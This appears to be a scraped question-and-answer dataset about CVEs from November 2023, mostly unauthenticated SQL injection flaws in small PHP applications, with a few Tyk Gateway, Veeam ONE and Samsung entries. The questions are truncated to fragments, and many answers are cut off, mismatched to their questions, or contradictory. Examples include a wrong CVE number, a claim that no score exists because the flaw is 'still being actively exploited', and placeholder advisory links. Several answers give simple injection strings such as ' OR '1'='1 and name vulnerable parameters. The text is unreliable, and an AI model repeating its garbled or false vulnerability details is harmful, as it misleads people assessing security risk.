How does t CVE-2023-46796 affects a system by allowing attackers to perform SQL Injection attacks. Si
Can you pr An example of an SQL Injection that could exploit CVE-2023-46796 might involve an attacke
When was CVE-2023-46796 was published on 07 November 2023.

Are there a Yes, more information about CVE-2023-46796 can be found at the following references:- ht
What are s In possible attack scenarios for CVE-2023-46796, an attacker might exploit the vulnerabilit
What is CV CVE-2023-46795 refers to multiple Unauthenticated SQL Injection vulnerabilities discovere
How does t The vulnerability in CVE-2023-46795 manifests in the Online Matrimonial Project v1.0 thro
What kind CVE-2023-46795 enables Unauthenticated SQL Injection attacks. Attackers can exploit this
Could you | Certainly. Although I don't have direct access to the source code of the Online Matrimonial
When was CVE-2023-46795 was published on 07 November 2023.

What are t The potential impacts of the CVE-2023-46795 vulnerability include unauthorized viewing a
What refer Additional information about CVE-2023-46795 can be found at the following URLs: <https://>
Are there a At the time of the provided information, there was no Base Score assigned to CVE-2023-46
What is CV CVE-2023-46794 is a designated identifier for a security vulnerability found in Online Matr
What kind CVE-2023-46794 is associated with multiple Unauthenticated SQL Injection vulnerabilities.
When was CVE-2023-46794 was published on 07 November 2023.

Are there a Yes, there are references available that provide additional information on CVE-2023-46794
Can you pr Certainly. Below is an illustrative PHP code snippet that demonstrates the vulnerability des
What are t Possible attack scenarios for CVE-2023-46794 include an attacker sending a specially crafte
What is CV CVE-2023-46793 refers to a security vulnerability found in Online Matrimonial Project v1.0
How does t The vulnerability CVE-2023-46793 arises due to improper input validation in the 'day' para

What is the If a website is using the vulnerable version of Online Matrimonial Project affected by CVE-2023-46792, could you? Certainly, imagine a harmful actor inputs a string like '1 OR 1=1' into the 'day' parameter of a query.

When was CVE-2023-46793 was published on 07 November 2023.

Where can Further details on CVE-2023-46793 can be obtained from the advisories published by Fluid Attacks. As of the current information available, there is no Base Score assigned to CVE-2023-46793.

What is CV CVE-2023-46792 refers to a security vulnerability found in the Online Matrimonial Project v1.0.

How does ! Because CVE-2023-46792 allows for Unauthenticated SQL Injection attacks, it poses a significant security risk.

What pote The vulnerability CVE-2023-46792 could enable attackers to carry out several types of attacks.

Was there No base score has been provided for CVE-2023-46792 as per the information available.

When was CVE-2023-46792 was published on the 07 November 2023.

What are t The references for CVE-2023-46792 are:

1. <https://fluidattacks.com/advisories/ros>

2. <https://fluidattacks.com/advisories/roa>

Could you : While the exact vulnerable code regarding CVE-2023-46792 is not provided, a general explanation is available in the advisory.

What is CV CVE-2023-46790 refers to a security vulnerability identified in Online Matrimonial Project v1.0.

What is the The impact of CVE-2023-46790 is significant because it allows attackers to perform unauthorized database queries.

How can C CVE-2023-46790 can be exploited by an attacker by sending a specially crafted payload through a SQL injection attack.

What are t If an attacker successfully exploits CVE-2023-46790, the possible consequences could range from data theft to system compromise.

When was CVE-2023-46790 was published on 07 November 2023.

Where can More information about CVE-2023-46790 can be obtained from various sources such as the advisory and the project's GitHub repository.

Can you pr Certainly. For CVE-2023-46790, an example of vulnerable PHP code would be something like:

What can k To mitigate or prevent CVE-2023-46790, the developers should apply input validation and sanitization to all user inputs.

What is CV CVE-2023-46789 refers to a security vulnerability in Online Matrimonial Project v1.0 that can lead to unauthorized access.

Which proj The project affected by CVE-2023-46789 is Online Matrimonial Project version 1.0.

What is the The security risk associated with CVE-2023-46789 is Unauthenticated SQL Injection, which can lead to data theft or system compromise.

Can you pr An example of an attack using CVE-2023-46789 might involve an attacker sending a crafted SQL query to the database.

When was CVE-2023-46789 was published on 07 November 2023.

What are s The exploitation of CVE-2023-46789 could allow unauthenticated attackers to execute arbitrary SQL queries on the database.

Are there a Yes, more information on CVE-2023-46789 can be found at the following URLs:- <https://fluidattacks.com/advisories/roa>

What mitig To mitigate CVE-2023-46789, users should apply any patches or updates provided by the software vendor.

What is CV CVE-2023-46788 is a security vulnerability identified in 'Online Matrimonial Project v1.0' that can lead to unauthorized access.

When was CVE-2023-46788 was published on 07 November 2023.

What are t The impact of the CVE-2023-46788 vulnerability could be severe, as it allows an attacker to execute arbitrary SQL queries on the database.

How can C An attacker can exploit CVE-2023-46788 by sending specially crafted SQL queries through the application.

Are there a Yes, for further information on CVE-2023-46788, you can refer to resources such as '<https://fluidattacks.com/advisories/roa>'.

Has a Base As of the provided information, CVE-2023-46788 does not have a Base Score assigned. This is because the vulnerability is still being actively exploited.

What is the The CVE ID associated with the unauthenticated SQL Injection vulnerabilities in Online Matrimonial Project v1.0 is CVE-2023-46787.

Can you de CVE-2023-46787 describes a vulnerability where Online Matrimonial Project v1.0 is susceptible to SQL injection attacks.

Has a base No, a base score has not been assigned to CVE-2023-46787 at the time the information was last updated.

When was The vulnerability CVE-2023-46787 was publicly disclosed on 07 November 2023.

Where can More information on CVE-2023-46787 can be found at the following provided references:

What are p An attacker could exploit the vulnerabilities described in CVE-2023-46787 by sending specially crafted SQL queries.

What is CV CVE-2023-46786 is a security vulnerability identified in Online Matrimonial Project v1.0. The severity is unknown.

How sever As of the time the CVE was published, the Base Score for CVE-2023-46786 was not assigned.

Which par In CVE-2023-46786, the vulnerable parameter is 'password' in the auth/auth.php resource.

When was CVE-2023-46786 was published on 07 November 2023.

Where can More information about CVE-2023-46786 can be found on the provided references which i
Can you pr Certainly. In the context of CVE-2023-46786, an SQL injection might look something like thi
What is CV CVE-2023-46785 refers to a security vulnerability found in Online Matrimonial Project vers
Can you de The vulnerability in CVE-2023-46785 is an SQL Injection issue. An attacker can send malicic
What type Due to CVE-2023-46785, an attacker could perform an Unauthenticated SQL Injection attack
How was C The discovery details of CVE-2023-46785 are not specified in the provided information. Ho
What are t The risks associated with CVE-2023-46785 include the possibility of an attacker gaining unk
Could an e: An example of an SQL Injection attack on the vulnerability described by CVE-2023-46785 n
What shou To mitigate CVE-2023-46785, developers should immediately apply proper input validation
Are there a Yes, there are reference links available for CVE-2023-46785. Two of the known references
When was CVE-2023-46785 was published on 07 November 2023.

Is there a b No, the base score for CVE-2023-46785 is not available as of the provided information. Ass
What is CV CVE-2023-46680 is a Common Vulnerabilities and Exposures identifier for a security flaw f
How can C CVE-2023-46680 can be exploited by attackers who craft malicious SQL queries and input tl
When was CVE-2023-46680 was published on 07 November 2023.

What is th The base score for CVE-2023-46680 is not available or has not been assigned yet.

Where can More information about CVE-2023-46680 can be found through the references provided ir
What are t Attack scenarios for CVE-2023-46680 include unauthorized reading of sensitive data from t
What is CV CVE-2023-46679 refers to a security vulnerability found in Online Job Portal version 1.0, wl
What type CVE-2023-46679 is associated with multiple Unauthenticated SQL Injection vulnerabilities.
What para The parameter involved in CVE-2023-46679 vulnerability is 'txt_uname_email', which is us
Can you pr An example of how CVE-2023-46679 can be exploited is by an attacker submitting a SQL qu
When was CVE-2023-46679 was published on 07 November 2023.

What reso To learn more about CVE-2023-46679, you can visit the following references: Fluid Attacks
What are t Possible attack scenarios for CVE-2023-46679 include an attacker exploiting the SQL Injecti
What is CV CVE-2023-46678 refers to multiple Unauthenticated SQL Injection vulnerabilities found in i
When was CVE-2023-46678 was published on November 7, 2023.

What is th The impact of CVE-2023-46678 on Online Job Portal v1.0 includes potential unauthorized a
What para The vulnerable parameter in CVE-2023-46678 is 'txt_upass', which is used in the sign-up pr
Are there a Yes, for more information on CVE-2023-46678, one can refer to the advisories published at
Could you | A possible SQL injection example exploiting CVE-2023-46678 might involve an attacker su
What are p Potential attack scenarios for CVE-2023-46678 include an attacker injecting malicious SQL
What is CV CVE-2023-46677 refers to multiple Unauthenticated SQL Injection vulnerabilities found in i
How does t The CVE-2023-46677 vulnerability affects the system by making it susceptible to SQL Inject
What type CVE-2023-46677 is classified as a SQL Injection vulnerability. SQL Injection is a code injectio
Can you pr An example SQL Injection code exploiting CVE-2023-46677 might look like the following w
What are t If CVE-2023-46677 is successfully exploited, an attacker could perform unauthorized opera
When was CVE-2023-46677 was published on 07 November 2023.

Where can More information about CVE-2023-46677 can be found on the advisory pages provided in i
Has the ba At the time of the CVE-2023-46677 report, a Base Score had not been assigned yet.

What woul A potential attack scenario for CVE-2023-46677 would involve an unauthenticated attacker
What is th The CVE ID of the vulnerability found in Online Job Portal v1.0 is CVE-2023-46676.

What type CVE-2023-46676 is associated with multiple Unauthenticated SQL Injection vulnerabilities.
Which par The 'filename' parameter of the sign-up.php resource is involved in the CVE-2023-46676 vi

What is the In CVE-2023-46676, the 'filename' parameter does not validate the characters received and can lead to SQL injection.

What is the The risk of the SQL Injection vulnerability in CVE-2023-46676 includes unauthorized access to data.

When was CVE-2023-46676 was published on 07 November 2023.

Could you | Yes, more information on CVE-2023-46676 can be found at the following references:- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46676>

Can you give me An example of a potential SQL injection exploiting CVE-2023-46676 might involve inputting malicious data into the 'filename' parameter.

What are some Attack scenarios for CVE-2023-46676 could include an attacker exploiting the SQL Injection vulnerability to extract sensitive data from the database.

Has a score As of the information provided, there has been no base score assigned to CVE-2023-46676.

What is the The CVE ID for the SQL Injection vulnerability in the WD WidgetTwitter plugin for WordPress is CVE-2023-5709.

Can you describe CVE-2023-5709 refers to a SQL Injection vulnerability in the WD WidgetTwitter plugin for WordPress.

In which version The vulnerability, CVE-2023-5709, affects the WD WidgetTwitter plugin for WordPress in a blind SQL injection attack.

What level To exploit the SQL Injection vulnerability described in CVE-2023-5709, an attacker would need to have contributor-level access to the WordPress site.

When was The vulnerability designated as CVE-2023-5709 was published on 07 November 2023.

Could you | Yes, further details about CVE-2023-5709 can be found at the following references:- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5709>

What are the For CVE-2023-5709, attackers with contributor-level access to the WordPress site using the WD WidgetTwitter plugin can exploit a SQL injection vulnerability.

What is the The SQL Injection vulnerability identified by CVE-2023-5709 could allow malicious actors to extract sensitive data from the database.

Has a base As of the information provided, a base score has not been assigned to CVE-2023-5709.

What is CVE-2023-42552 is a vulnerability related to an implicit intent hijacking issue in the Firewall application.

Which versions The versions of Android affected by CVE-2023-42552 are Android 11 (before version 12.1.0).

When was CVE-2023-42552 was published on 07 November 2023.

Where can More information about CVE-2023-42552 can be found on the official Samsung security website.

What is the The base score for CVE-2023-42552 is not available (N/A), as the information might not have been updated.

Can you provide A possible attack scenario for CVE-2023-42552 could involve a malicious application that uses implicit intents to trigger the Firewall application.

What action To protect against CVE-2023-42552, users should update their Firewall application to the latest version.

What is the The CVE ID associated with the blind SQL injection vulnerability in Tyk Gateway version 5.0.3 is CVE-2023-42284.

What type CVE-2023-42284 identifies a blind SQL injection vulnerability.

In which context The vulnerability CVE-2023-42284 exists in the 'api_version' parameter of Tyk Gateway.

What are the Exploiting the vulnerability associated with CVE-2023-42284 could allow an attacker to access sensitive data stored in the database.

Where can More information regarding CVE-2023-42284 can be found in the report published on GitHub.

When was CVE-2023-42284 was published on 07 November 2023.

Has a base As of the given information, no base score has been assigned to CVE-2023-42284 ('N/A').

Could you | In an attack scenario involving CVE-2023-42284, the attacker would craft a SQL query that includes a blind SQL injection payload.

What is CVE-2023-42283 is a security vulnerability that involves a blind SQL injection in the Tyk Gateway application.

How can an attacker An attacker can exploit CVE-2023-42283 by sending specially crafted SQL queries through the API.

What type CVE-2023-42283 is classified as a blind SQL injection vulnerability.

What version Version 5.0.3 of Tyk Gateway is affected by CVE-2023-42283.

Where can More information and a potential proof of concept for CVE-2023-42283 can be found on the GitHub repository.

When was CVE-2023-42283 was published on 07 November 2023.

What security measure To protect against CVE-2023-42283, users of Tyk Gateway version 5.0.3 should update to the latest version.

What are some Some possible attack scenarios for CVE-2023-42283 include an attacker sending requests with forged headers to trigger the blind SQL injection vulnerability.

What is CVE-2023-38547 refers to a security vulnerability in Veeam ONE, which is a monitoring and management platform.

When was CVE-2023-38547 was published on 07 November 2023.

What could happen An attacker could exploit CVE-2023-38547 to gain information about the SQL server connections.

Has Veeam Yes, Veeam has provided guidance on addressing CVE-2023-38547. There is a knowledge base article available.

Is there a base score Is there a Base Score provided in the given data for CVE-2023-38547. To obtain the Base Score, refer to the Veeam support documentation.

Could you | An attack scenario for CVE-2023-38547 might involve an unauthenticated attacker scanning for files on the system. Are there a Without explicit technical details regarding the vulnerability or exploitation method, it is not possible to provide a detailed scenario. What is the The CVE ID for the Rogic No-Code Database Builder vulnerability that involves JavaScript injection? Can you de CVE-2023-41343 is a vulnerability in the Rogic No-Code Database Builder where its file upload feature is exploited? When was The CVE-2023-41343 vulnerability was published on 03 November 2023.

What is the If an attacker successfully exploits the CVE-2023-41343 vulnerability in Rogic No-Code Database Builder, what would be the impact? Where can More information about the CVE-2023-41343 vulnerability can be found on the Taiwan Computer Emergency Response Team (CERT) website. Can you pr An attack scenario for CVE-2023-41343 might involve an attacker crafting a malicious file to exploit the vulnerability? Has a Base As of now, there is no Base Score assigned for the CVE-2023-41343 vulnerability.

What privil To exploit the CVE-2023-41343 vulnerability, an attacker would need to have regular user privileges on the system. What is CV CVE-2023-45347 is a security vulnerability identified in Online Food Ordering System version 1.0. How sever The severity of CVE-2023-45347 cannot be specified as the Base Score for this CVE is not provided. When was CVE-2023-45347 was published on 02 November 2023.

What softv The software affected by CVE-2023-45347 is Online Food Ordering System version 1.0. What type CVE-2023-45347 enables SQL injection attacks. Attackers can exploit the vulnerability to manipulate data in the database. Could you | An example of exploiting CVE-2023-45347 might involve an attacker sending a crafted request to the 'add-ticket.php' endpoint. Where can More details about CVE-2023-45347 can be found at the following reference URLs:- <https://fluidattacks.com/cve-2023-45347>. What are t Exploiting CVE-2023-45347 could have several consequences including unauthorized viewing of sensitive data. What shou Administrators should immediately investigate if their Online Food Ordering System v1.0 is affected. What is CV CVE-2023-45346 is a security vulnerability identifier that refers to multiple Unauthenticated SQL Injection vulnerabilities. When was CVE-2023-45346 was published on 02 November 2023.

What is the The impact of the vulnerability identified by CVE-2023-45346 is that it allows attackers to execute arbitrary SQL commands. Which par The vulnerability CVE-2023-45346 involves the '*_role' parameter. This parameter is a part of the 'add-ticket.php' endpoint. Where can More information about CVE-2023-45346 can be found at the following URLs: <https://fluidattacks.com/cve-2023-45346>. What are p Attack scenarios associated with CVE-2023-45346 could include an attacker crafting a specific SQL query to manipulate data. Can you pr A hypothetical attack exploiting CVE-2023-45346 could involve an attacker sending a HTTP POST request to the 'add-ticket.php' endpoint. What is CV CVE-2023-45345 refers to a security vulnerability found in the Online Food Ordering System version 1.0. What type The vulnerability associated with CVE-2023-45345 is categorized as multiple Unauthenticated SQL Injection vulnerabilities. How does t CVE-2023-45345 affects the application by allowing an attacker to execute arbitrary SQL commands. Can you gi A potential SQL Injection exploit targeting CVE-2023-45345 could involve submitting a crafted SQL query. When was CVE-2023-45345 was published on 02 November 2023.

Are there a Yes, more information about CVE-2023-45345 can be found at the following URLs: <https://fluidattacks.com/cve-2023-45345>. What are p Potential attack scenarios for CVE-2023-45345 include an attacker exploiting the SQL Injection vulnerability. What is CV CVE-2023-45338 refers to a security vulnerability found in Online Food Ordering System version 1.0. What funct CVE-2023-45338 affects the functionality related to the 'add-ticket.php' resource in Online Food Ordering System. How can C An attacker can exploit CVE-2023-45338 by crafting a malicious request containing SQL injection code. What is the The impact of CVE-2023-45338 could be severe, as it allows an unauthenticated attacker to manipulate data. What are t The references associated with CVE-2023-45338 include advisories or reports from security researchers. What is the As per the information provided, the base score for CVE-2023-45338 has not been disclosed. When was CVE-2023-45338 was published on 02 November 2023. After its disclosure, affected users should update the software. What is CV CVE-2023-45344 is an identifier for a security vulnerability that affects the Online Food Ordering System version 1.0. In which ve The CVE-2023-45344 vulnerability is present in Online Food Ordering System version 1.0. How could An attacker could exploit the CVE-2023-45344 vulnerability by injecting malicious SQL code. Can you pr Certainly. While the specific code of the Online Food Ordering System is not available, a general idea is that an attacker could craft a SQL query to manipulate data in the database.

What date CVE-2023-45344 was published on 02 November 2023.

Where can More information about CVE-2023-45344 can be found in the references provided. You ca

What is the The Base Score for CVE-2023-45344 has not been assigned or is not available at the mom

Explain a p In a potential attack scenario, the attacker could create a malicious SQL statement tailored

What is CV CVE-2023-45343 pertains to multiple Unauthenticated SQL Injection vulnerabilities in the (

What para The parameter involved in CVE-2023-45343 is 'ticket_id', which is part of the routers/ticket

How does (CVE-2023-45343 allows for the 'ticket_id' parameter to bypass character validation, resulti

When was CVE-2023-45343 was published on 02 November 2023.

Are there a Yes, there are resources available that provide more details on CVE-2023-45343. These res

What is An example of a SQL Injection attack scenario associated with CVE-2023-45343 would be a

What woul To prevent vulnerabilities like CVE-2023-45343, developers should implement proper inpu

What is CV CVE-2023-45342 refers to a vulnerability in Online Food Ordering System version 1.0, whic

Which syst The system affected by CVE-2023-45342 is the Online Food Ordering System version 1.0.

What type CVE-2023-45342 is classified as a vulnerability to Unauthenticated SQL Injection attacks.

What is the In CVE-2023-45342, the vulnerable parameter is the 'phone' parameter found in the route

How can C An attacker can exploit CVE-2023-45342 by sending specially crafted SQL statements throu

What are t Possible attack scenarios for CVE-2023-45342 include an attacker injecting malicious SQL c

Are there a Yes, references for CVE-2023-45342 can be found at <https://fluidattacks.com/advisories/h>

Has a base As of the available information, CVE-2023-45342 does not have a Base Score mentioned.

When was CVE-2023-45342 was published on 02 November 2023.

What is CV CVE-2023-45341 is a security vulnerability identified in the Online Food Ordering System v

What type CVE-2023-45341 represents a SQL injection vulnerability. SQL injection is a type of security

How is the The CVE-2023-45341 vulnerability can be exploited by an attacker by sending crafted input

What can a By exploiting CVE-2023-45341, an attacker can execute unauthorized SQL commands on th

When was The CVE-2023-45341 vulnerability was published on November 2, 2023.

Where can More information about CVE-2023-45341 can be found through the provided references, s

What is CV CVE-2023-45340 refers to a security vulnerability found in Online Food Ordering System ve

How does (CVE-2023-45340 affects the Online Food Ordering System by allowing attackers to execute

What kind With CVE-2023-45340, an attacker could perform an unauthenticated SQL injection attack.

Could you | Certainly. An example of a SQL injection payload exploiting CVE-2023-45340 could involve

What are t If an attacker successfully exploits CVE-2023-45340, the consequences can be severe. They

Where can More information about CVE-2023-45340 can be found in the advisories published by the i

What is CV CVE-2023-45339 refers to a set of multiple unauthenticated SQL Injection vulnerabilities fc

How does (The impact of the CVE-2023-45339 vulnerability is significant as it allows an attacker to per

What are t Known attack vectors for CVE-2023-45339 involve manipulating the 'type' parameter of the

What coul A code example of an SQL injection for CVE-2023-45339 might look like the following URL,

Are there a Yes, there are references available that provide further details on CVE-2023-45339. These i

When was The vulnerability CVE-2023-45339 was published on 02 November 2023.

What mea To mitigate CVE-2023-45339, the following measures should be taken:- Apply any patches (

What is CV CVE-2023-45337 is associated with the Online Food Ordering System version 1.0, which ha

In CVE-202 In CVE-2023-45337, the 'username' parameter of the routers/router.php resource in Onlin

What is the The main issue with the router.php file as mentioned in CVE-2023-45337 is that it does not

What coul By exploiting the vulnerability described in CVE-2023-45337, an attacker could perform SQ

Can you pr An example of SQL Injection payload that could be used to exploit CVE-2023-45337 might I

What is the CVE-2023-45337 was published on 02 November 2023.

Are there any more information on CVE-2023-45337 can be found at the following references: '<https://www.cve.org/cve/CVE-2023-45337>'

Has a Base As per the provided information, a Base Score has not been assigned to CVE-2023-45337 as yet.

What type Systems running Online Food Ordering System version 1.0 are at risk due to CVE-2023-45336.

How does it work In the context of CVE-2023-45337, SQL Injection works by injecting malicious SQL code through the 'password' parameter.

What is the CVE ID of the vulnerability found in Online Food Ordering System v1.0 is CVE-2023-45336.

What type According to CVE-2023-45336, Online Food Ordering System v1.0 is vulnerable to multiple SQL injection vulnerabilities.

In CVE-2023-45336 The 'password' parameter of the routers/router.php resource in Online Food Ordering System v1.0 is vulnerable to multiple SQL injection vulnerabilities.

What is the severity base score for CVE-2023-45336 has not been provided or is not applicable (N/A).

When was it published The vulnerability with CVE-2023-45336 was published on 02 November 2023.

Where can I find more details or advisories related to CVE-2023-45336 can be found at the following URLs:

Can you give an example of exploiting the SQL Injection vulnerability in CVE-2023-45336 could involve sending specially crafted SQL statements to the 'password' parameter.

What are some possible attack scenarios from the vulnerability described in CVE-2023-45336 could include unauthorized access to sensitive data.

What is CVSS score for CVE-2023-45335 refers to a security vulnerability found in the Online Food Ordering System v1.0.

What type CVE-2023-45335 is associated with unauthenticated SQL injection vulnerabilities. This allows attackers to execute arbitrary SQL queries.

How can it be exploited CVE-2023-45335 can be exploited by an attacker by sending specially crafted SQL statements to the 'password' parameter.

What might the exploit look like An SQL injection attack exploiting CVE-2023-45335 could look something like this in code: "SELECT * FROM users WHERE password = ' OR '1'='1";

What are some possible attack scenarios for CVE-2023-45335 could include an attacker accessing and exfiltrating sensitive data from the system.

What resources are available Additional information on CVE-2023-45335 can be found at the following resources or references.

What is the last update for CVE-2023-45335 was published on 02 November 2023.

Has a base score As of the information provided, no base score has been assigned yet to CVE-2023-45335.

What is CVSS score for CVE-2023-45334 identifies multiple Unauthenticated SQL Injection vulnerabilities in Online Food Ordering System v1.0.

What does it allow The vulnerability in CVE-2023-45334 allows an attacker to perform SQL Injection attacks on the system.

How can it be exploited An attacker can exploit the vulnerability described in CVE-2023-45334 by crafting a malicious SQL query.

What is the potential impact The potential impact of CVE-2023-45334 is significant, as it can lead to unauthorized access to sensitive data.

What is the last update As of the information provided, there is no specific mention of a patch or remediation for this vulnerability.

Where can I find more information More information about CVE-2023-45334 can be found through the provided references, which are listed below.

When was it published CVE-2023-45334 was published on 02 November 2023, which is when the vulnerability was first reported.

What is CVSS score for CVE-2023-45333 refers to multiple Unauthenticated SQL Injection vulnerabilities identified in Online Food Ordering System v1.0.

In what software is it found CVE-2023-45333 is found in Online Food Ordering System version 1.0.

How can it be exploited An attacker can exploit CVE-2023-45333 by crafting malicious SQL commands and injecting them into the 'password' parameter.

What type of attack is it SQL Injection attack, which involves sending specially crafted SQL statements to the 'password' parameter.

Can you provide an example An SQL injection that might exploit CVE-2023-45333 could look like this: A malicious user sends a query like "SELECT * FROM users WHERE password = ' OR '1'='1';"

What are the consequences The consequences of an attack exploiting CVE-2023-45333 can include unauthorized access to sensitive data.

What is the CVSS base score The CVSS base score of CVE-2023-45333 has not been provided or is not available at the moment.

Where can I find more information More information about CVE-2023-45333 can be found at the published references, which are listed below.

When was it published CVE-2023-45333 was published on 02 November 2023.

What is CVSS score for CVE-2023-45332 refers to a security vulnerability identified in Online Food Ordering System v1.0.

What type of attack is it Unauthenticated SQL Injection vulnerability, which involves sending specially crafted SQL statements to the 'password' parameter.

What are the potential consequences Potential consequences of the SQL Injection vulnerabilities in CVE-2023-45332 include unauthorized access to sensitive data.

What part of the system is affected CVE-2023-45332 affects the 'deleted' parameter on the routers/add-users.php resource in Online Food Ordering System v1.0.

How was it discovered CVE-2023-45332 was publicly disclosed through advisories, including one from Fluid Attack.

What steps should be taken To mitigate CVE-2023-45332, the developers should implement proper input validation and output encoding.

Could you explain how it works Although I don't have the exact code of the Online Food Ordering System, the exploitation process involves sending a specially crafted SQL query to the 'password' parameter.

What is the The CVE ID of the vulnerability found in Online Food Ordering System v1.0 is CVE-2023-4531. What kind CVE-2023-45331 refers to multiple Unauthenticated SQL Injection vulnerabilities in the Online Food Ordering System v1.0. In which part The SQL Injection vulnerability in Online Food Ordering System v1.0 is found in the 'contact' parameter of the routers/add-user.php resource. How does CVE-2023-45331 makes Online Food Ordering System v1.0 vulnerable because the 'contact' parameter is not properly validated. Can you provide an example? While I can't provide actual malicious code, I can describe the issue in pseudocode terms. If an attacker exploits the vulnerability CVE-2023-45331, they could perform unauthorized access to the database. When was The SQL Injection vulnerability CVE-2023-45331 in Online Food Ordering System v1.0 was identified? More information about the CVE-2023-45331 vulnerability can be found in the advisories. What is CVE-2023-45330 identifies a security vulnerability found in the Online Food Ordering System v1.0. How does CVE-2023-45330 makes a website vulnerable to SQL injection attacks. Attackers can exploit this vulnerability to gain unauthorized access to the database. What version The vulnerability CVE-2023-45330 affects version 1.0 of the Online Food Ordering System. Can you provide an example? An exploitative code example for CVE-2023-45330 might involve an attacker crafting a malicious SQL query. What are the consequences? If CVE-2023-45330 is successfully exploited, an attacker could gain unauthorized access to the database. When was CVE-2023-45330 was published on 02 November 2023.

Where can You can find more information about CVE-2023-45330 from the advisories published by the National Vulnerability Database. What is CVE-2023-45329 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities in the Online Food Ordering System v1.0. What are the affected components? The vulnerabilities described in CVE-2023-45329 can lead to various security breaches. Attackers can exploit these vulnerabilities to gain unauthorized access to the database. What version The version of the software affected by CVE-2023-45329 is Online Food Ordering System v1.0. Can you provide an example? Although I do not provide actual malicious code, an example of how an attacker might exploit this vulnerability is shown below. What steps To mitigate the risks associated with CVE-2023-45329, the following steps should be taken:

Are there any known mitigations? Yes, further information about CVE-2023-45329 is available at the following references: - [https://www.cisa.gov/cve/CVE-2023-45329](#). What is CVE-2023-45328 refers to identified security vulnerabilities in Online Food Ordering System v1.0. What potential impact Exploitation of CVE-2023-45328 could lead to unauthorized access to the database, which is a critical security concern. In what version CVE-2023-45328 is found in version 1.0 of the Online Food Ordering System.

What is the type of CVE-2023-45328 is an Unauthenticated SQL Injection. What mitigation steps To mitigate CVE-2023-45328, it is essential to immediately patch the Online Food Ordering System. Can you give an example? An example attack exploiting CVE-2023-45328 would involve an attacker crafting a malicious SQL query. When was CVE-2023-45328 was published on 02 November 2023.

Where can Information about CVE-2023-45328 can be found on several sources, including the advisory and the National Vulnerability Database. Is there a known base score? As of the last available information, there is no known base score assigned to CVE-2023-45328. What is CVE-2023-45327 identifies a vulnerability within Online Food Ordering System version 1.0, specifically in the routers/add-users.php resource. What type CVE-2023-45327 is associated with multiple Unauthenticated SQL Injection vulnerabilities. Which component CVE-2023-45327 affects the routers/add-users.php resource of the Online Food Ordering System. How is the vulnerability exploited? The vulnerability in CVE-2023-45327 can be exploited by an attacker by crafting malicious SQL queries. What is the consequence? If CVE-2023-45327 is successfully exploited, an attacker could read sensitive data from the database. Could you provide an example? Here's a hypothetical and simplified PHP code snippet that would be vulnerable to CVE-2023-45327:

Are there any known mitigations? Yes, to learn more about CVE-2023-45327, you can visit the following references: 1. [https://www.cisa.gov/cve/CVE-2023-45327](#).

When was The CVE-2023-45327 vulnerability was published on 02 November 2023. What measures To mitigate CVE-2023-45327, it is essential to validate and sanitize all user inputs, especially the 'email' parameter. What is the CVE ID for the vulnerability found in the Online Food Ordering System v1.0 is CVE-2023-45326. What type CVE-2023-45326 reports multiple Unauthenticated SQL Injection vulnerabilities in the Online Food Ordering System v1.0. Which part The vulnerability in CVE-2023-45326 affects the 'email' parameter of the routers/add-user.php resource. What is the issue? The issue with the 'email' parameter, as stated in CVE-2023-45326, is that it does not validate email addresses. Can you provide an example? An example of a SQL Injection attack exploiting CVE-2023-45326 might involve crafting a malicious SQL query.

What is the CVE-2023-45326 was published on 02 November 2023.

Are there any additional information about CVE-2023-45326 can be found at the following URLs:- https://

What are the Possible attack scenarios for CVE-2023-45326 include unauthenticated attackers exploiting

Has a base As of the provided information, no base score has been assigned to CVE-2023-45326.

What is the The CVE ID of the vulnerability found in the Online Food Ordering System v1.0 is CVE-2023-

What kind CVE-2023-45325 involves multiple Unauthenticated SQL Injection vulnerabilities.

In CVE-2023-45325, the 'address' parameter of the routers/add-users.php resource is vuln

What is the The issue with the 'address' parameter in the Online Food Ordering System, as reported in

Can you provide An example of an attack that exploits CVE-2023-45325 could involve sending malicious SQL

What are the The potential impacts of the SQL Injection vulnerability in CVE-2023-45325 include unauth

When was CVE-2023-45325 was published on 02 November 2023.

Where can More information or advisories related to CVE-2023-45325 can be found at the following URLs

What is CVN CVE-2023-45324 is a security vulnerability identifier that refers to multiple Unauthenticate

How can an attacker can exploit CVE-2023-45324 by sending maliciously crafted SQL code through t

What kind The attack associated with CVE-2023-45324 is an SQL Injection attack. This is a code injecti

Can you provide An example of an SQL injection to exploit CVE-2023-45324 could be a simple statement su

What previous To mitigate the risk of the CVE-2023-45324 vulnerability, developers should implement pr

Have any patches The CVE-2023-45324 vulnerability details do not specify whether any patches or updates h

What are the A successful exploitation of CVE-2023-45324 could allow an attacker to perform unauthoriz

Where can More information about CVE-2023-45324 can be found through the references provided w

What is CVN CVE-2023-45323 refers to a security vulnerability identified in the Online Food Ordering Sy

How severe The Base Score for CVE-2023-45323 has not been assigned yet, indicating that the severity

When was CVE-2023-45323 was published on the 2nd of November, 2023.

Can you provide Yes, information regarding CVE-2023-45323 can be found at the following URLs: https://fl

Could you provide While exact exploit code for CVE-2023-45323 isn't provided, an example SQL injection atta

What are the Attack scenarios for CVE-2023-45323 could involve an unauthenticated attacker exploiting

What is CVN CVE-2023-29047 refers to a security vulnerability in the Imageconverter API endpoints, wh

Has the vulnerability No, as of the latest available information, CVE-2023-29047 does not have a Base Score assi

When was CVE-2023-29047 was published on 02 November 2023.

Are there any No, there are no publicly available exploits known for CVE-2023-29047.

Where can More technical details and advisories about CVE-2023-29047 can be found through the foll

What are the Potential attack scenarios for CVE-2023-29047 include an attacker who is on an adjacent netw

Could you provide While the specific details of the vulnerable code are not provided, a typical SQL injection vi

What is the The CVE ID for the vulnerability related to image metadata fetching is CVE-2023-26454.

Can you describe CVE-2023-26454 refers to a security vulnerability where requests to fetch image metadata

What are the To exploit CVE-2023-26454, an attacker would require at least access to adjacent networks

Has CVE-2023-26454 been addressed by the developers. API requests are now properl

Are there any As per the available information, no publicly available exploits for CVE-2023-26454 are kno

When was CVE-2023-26454 was published on 02 November 2023.

Where can Additional information and advisories related to CVE-2023-26454 can be found at the follo

What may Possible attack scenarios for exploiting CVE-2023-26454 include an attacker who has gaine

What is CVN CVE-2023-26453 refers to a security vulnerability where image caching requests could be r

How can an To exploit CVE-2023-26453, an attacker would need to have access to networks adjacent to

What means To mitigate the vulnerability identified as CVE-2023-26453, API requests are now rigorousl

